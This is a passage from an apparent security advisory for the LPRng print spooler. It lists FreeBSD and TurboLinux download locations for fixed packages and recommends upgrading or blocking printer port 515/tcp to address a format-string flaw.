        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/sysutils/LPRng-3.6.25.tgz
        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-5-current/sysutils/LPRng-3.6.25.tgz

    For TurboLinux:

        ftp://ftp.turbolinux.com/pub/updates/6.0/security/LPRng-3.6.26-1.i386.rpm
        ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/LPRng-3.6.26-1.src.rpm

    Upgrade to a non-vulnerable version of LPRng (3.6.25) as mentioned
    avove.   Alternately, you  can obtain  the version  of LPRng which
    fixes the missing format string at:

        ftp://ftp.astart.com/pub/LPRng/LPRng/LPRng-3.6.25.tgz

    Disallow  access  to  printer  service  ports  (typically 515/tcp)
    using firewall or packet-filtering technologies.